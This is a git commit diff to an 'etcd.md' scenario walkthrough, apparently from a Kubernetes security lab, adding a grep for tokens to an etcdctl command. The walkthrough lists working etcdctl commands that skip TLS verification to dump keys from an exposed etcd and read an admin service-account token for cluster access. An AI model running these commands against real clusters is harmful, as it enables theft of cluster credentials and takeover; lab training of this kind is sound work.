add useful grep command

raesene · Aug 18, 2022 · dae12f7 · dae12f7
1 parent 6a980cd
commit dae12f7
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/Scenario Walkthroughs/etcd.md b/Scenario Walkthroughs/etcd.md
@@ -3,7 +3,7 @@
 1. Exploiting this takes a couple of steps
 2. Set the ETCD environment variable `export ETCDCTL_API=3`
 3. First we need to dump some secrets out of the etcd database 
-  `etcdctl --insecure-skip-tls-verify --insecure-transport=false --endpoints=https://[CLUSTERIP]:2379 get / --prefix --keys-only`
+  `etcdctl --insecure-skip-tls-verify --insecure-transport=false --endpoints=https://[CLUSTERIP]:2379 get / --prefix --keys-only | grep token`
 4. Then we'll need a service account token to authenticate to the cluster with. Looking through the list of accounts we can see an admins-account
   `etcdctl --insecure-skip-tls-verify --insecure-transport=false --endpoints=https://[IP]:2379 get /registry/secrets/kube-system/admins-account-token-[RAND]`
   The service account token starts with ey and ends just before the word `kubernetes.io` in the token.